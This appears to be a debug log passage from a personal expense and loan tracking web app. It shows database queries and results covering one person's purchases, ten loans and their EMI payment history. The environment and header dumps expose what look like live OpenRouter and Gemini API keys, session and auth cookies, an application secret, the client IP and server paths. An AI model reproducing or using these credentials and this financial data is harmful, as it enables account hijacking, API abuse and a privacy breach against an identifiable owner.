    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-06-29T05:32:00.409Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-06-29T05:32:00.418Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2300,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 2275 },
    current: 1,
    total: 92
  },
  data: [
    {
      invoice_number: 12561,
      quantity: '1.00',
      purchase_date: '2026-06-29T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '150.00',
      item_name: 'One Card Payment',
      unit: 'EMI'
    },
    {
      invoice_number: 12715,
      quantity: '2.00',
      purchase_date: '2026-06-28T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '20.00',
      item_name: 'Water Bottle',
      unit: 'Bottle'
    },
    {
      invoice_number: 12705,
      quantity: '1.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '469.00',
      item_name: 'School Dress',
      unit: 'Piece'
    },
    {
      invoice_number: 12705,
      quantity: '1.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '799.00',
      item_name: 'School Shoes',
      unit: 'Piece'
    },
    {
      invoice_number: 12705,
      quantity: '1.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '60.00',
      item_name: 'Banana Holder',
      unit: 'Piece'
    },
    {
      invoice_number: 12705,
      quantity: '1.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '60.00',
      item_name: 'School Tie',
      unit: 'Piece'
    },
    {
      invoice_number: 12706,
      quantity: '1.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '450.00',
      item_name: 'School Tiffin',
      unit: 'Piece'
    },
    {
      invoice_number: 12706,
      quantity: '2.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '50.00',
      item_name: 'Coconut Juice',
      unit: 'Piece'
    },
    {
      invoice_number: 12706,
      quantity: '2.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '40.00',
      item_name: 'Lassi',
      unit: 'Piece'
    },
    {
      invoice_number: 12706,
      quantity: '1.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '30.00',
      item_name: 'Mango Juice',
      unit: 'Piece'
    },
    {
      invoice_number: 12707,
      quantity: '1.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '207.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 12708,
      quantity: '1.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '226.00',
      item_name: 'White Cheese Pasta',
      unit: 'Piece'
    },
    {
      invoice_number: 12709,
      quantity: '250.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '100.00',
      item_name: 'Paneer',
      unit: 'GM'
    },
    {
      invoice_number: 12710,
      quantity: '2.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '26.00',
      item_name: 'Aalo',
      unit: 'KG'
    },
    {
      invoice_number: 12710,
      quantity: '2.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '60.00',
      item_name: 'Pyaz',
      unit: 'KG'
    },
    {
      invoice_number: 12711,
      quantity: '500.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'GM'
    },
    {
      invoice_number: 12711,
      quantity: '30.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '210.00',
      item_name: 'Eggs',
      unit: 'Piece'
    },
    {
      invoice_number: 12712,
      quantity: '1.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '30.00',
      item_name: 'Sugarcane Juice',
      unit: 'Glass'
    },
    {
      invoice_number: 12713,
      quantity: '1.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '30.00',
      item_name: 'Cutter',
      unit: 'Piece'
    },
    {
      invoice_number: 12714,
      quantity: '1.00',
      purchase_date: '2026-06-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '273.00',
      item_name: 'Assetto Corsa Competizione',
      unit: 'Piece'
    },
    {
      invoice_number: 12702,
      quantity: '1.00',
      purchase_date: '2026-06-26T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '40.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 12703,
      quantity: '1.00',
      purchase_date: '2026-06-26T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '50.00',
      item_name: 'Kachi mungfali',
      unit: 'Other'
    },
    {
      invoice_number: 12704,
      quantity: '1.00',
      purchase_date: '2026-06-26T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '150.00',
      item_name: 'Doctor Fees',
      unit: 'Other'
    },
    {
      invoice_number: 12704,
      quantity: '1.00',
      purchase_date: '2026-06-26T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '170.00',
      item_name: 'Medicines',
      unit: 'Other'
    },
    {
      invoice_number: 12696,
      quantity: '500.00',
      purchase_date: '2026-06-25T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '50.00',
      item_name: 'Dahi',
      unit: 'GM'
    }
  ]
}
2026-06-29T05:32:03.691Z server-connect:router Serving templateView /emis
2026-06-29T05:32:03.692Z server-connect:app Executing action step identify
2026-06-29T05:32:03.692Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:03.692Z server-connect:output identity: 1
2026-06-29T05:32:03.692Z server-connect:app Executing action step restrict
2026-06-29T05:32:03.692Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:32:03.693Z server-connect:output restrict: undefined
2026-06-29T05:32:03.693Z server-connect:router Render template emis
2026-06-29T05:32:03.693Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T05:31:54.469Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-29T05:32:03.955Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-06-29T05:32:03.955Z server-connect:app Executing action step identify
2026-06-29T05:32:03.955Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:03.955Z server-connect:output identity: 1
2026-06-29T05:32:03.955Z server-connect:app Executing action step restrict
2026-06-29T05:32:03.955Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:32:03.956Z server-connect:output restrict: undefined
2026-06-29T05:32:03.957Z server-connect:app Executing action step custom
2026-06-29T05:32:03.957Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-06-29T05:32:03.962Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '11',
    total_remaining_amount: 165154,
    total_paid_amount: 735686,
    percentage_paid: '81.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '1',
    total_remaining_amount: 18243,
    total_paid_amount: 638505,
    percentage_paid: '97.22'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'SMFG Credit India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '8',
    total_remaining_amount: 176248,
    total_paid_amount: 881240,
    percentage_paid: '83.33'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '2',
    total_remaining_amount: 10672,
    total_paid_amount: 181424,
    percentage_paid: '94.44'
  },
  {
    id: 25,
    loan_name: 'Gaming CPU',
    starting_date: 2026-04-02T18:30:00.000Z,
    ending_date: 2028-04-04T18:30:00.000Z,
    principle_amount: 54221,
    no_of_emi: 24,
    interest_amount: 2000,
    loan_type: 'Personal Loan',
    loan_provider: 'Cred App',
    due_date: '5th',
    emi_amount: 2674,
    total_emi: 24,
    total_pending_emi: '21',
    total_remaining_amount: 56154,
    total_paid_amount: 8022,
    percentage_paid: '12.50'
  },
  {
    id: 26,
    loan_name: 'Bike Loan',
    starting_date: 2026-03-04T18:30:00.000Z,
    ending_date: 2029-03-04T18:30:00.000Z,
    principle_amount: 94499,
    no_of_emi: 36,
    interest_amount: 0,
    loan_type: '2 Wheeler Loan',
    loan_provider: 'HDFC Bank',
    due_date: '5th',
    emi_amount: 3369,
    total_emi: 36,
    total_pending_emi: '32',
    total_remaining_amount: 107808,
    total_paid_amount: 13476,
    percentage_paid: '11.11'
  },
  {
    id: 27,
    loan_name: 'IND Money',
    starting_date: 2023-08-25T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 0,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '2',
    total_remaining_amount: 10672,
    total_paid_amount: 181424,
    percentage_paid: '94.44'
  },
  {
    id: 28,
    loan_name: 'School Fees',
    starting_date: 2026-03-04T18:30:00.000Z,
    ending_date: 2026-12-04T18:30:00.000Z,
    principle_amount: 53000,
    no_of_emi: 9,
    interest_amount: 0,
    loan_type: 'Education Loan',
    loan_provider: 'Gray Quest',
    due_date: '5th',
    emi_amount: 5889,
    total_emi: 9,
    total_pending_emi: '6',
    total_remaining_amount: 35334,
    total_paid_amount: 17667,
    percentage_paid: '33.33'
  },
  {
    id: 29,
    loan_name: 'SMFG',
    starting_date: 2026-03-04T18:30:00.000Z,
    ending_date: 2031-03-04T18:30:00.000Z,
    principle_amount: 1000000,
    no_of_emi: 60,
    interest_amount: 0,
    loan_type: 'Personal Loan',
    loan_provider: 'SMFG Credit India',
    due_date: '5th',
    emi_amount: 22754,
    total_emi: 60,
    total_pending_emi: '57',
    total_remaining_amount: 1296978,
    total_paid_amount: 68262,
    percentage_paid: '5.00'
  }
]
2026-06-29T05:32:16.336Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-29T05:32:16.517Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-29T05:32:16.600Z server-connect:setup:upload Upload middleware configured.
2026-06-29T05:32:16.600Z server-connect:secure CSRF Protection initialized
2026-06-29T05:32:16.602Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-29T05:32:16.604Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-29T05:32:16.604Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-29T05:32:16.605Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-29T05:32:16.605Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-29T05:32:16.606Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-29T05:32:16.607Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-29T05:32:16.607Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-29T05:32:16.610Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-29T05:32:16.610Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-29T05:32:16.611Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-29T05:32:16.611Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-29T05:32:16.611Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-29T05:32:16.612Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-29T05:32:16.612Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-29T05:32:16.612Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-29T05:32:16.613Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-29T05:32:16.613Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-29T05:32:16.613Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-29T05:32:16.614Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-29T05:32:16.614Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-29T05:32:16.614Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-29T05:32:16.614Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-29T05:32:16.615Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-29T05:32:16.615Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-29T05:32:16.615Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-29T05:32:16.615Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-29T05:32:16.616Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-29T05:32:16.616Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-29T05:32:16.616Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-29T05:32:16.616Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-29T05:32:16.616Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-29T05:32:16.617Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-29T05:32:16.617Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-29T05:32:16.617Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-29T05:32:16.617Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-29T05:32:16.617Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-29T05:32:16.618Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-29T05:32:16.743Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-29T05:32:16.747Z server-connect:app Executing action step identify
2026-06-29T05:32:16.747Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:16.749Z server-connect:output identity: 1
2026-06-29T05:32:16.749Z server-connect:app Executing action step restrict
2026-06-29T05:32:16.749Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:32:16.751Z server-connect:output restrict: undefined
2026-06-29T05:32:16.752Z server-connect:app Executing action step select
2026-06-29T05:32:16.752Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-29T05:32:16.758Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
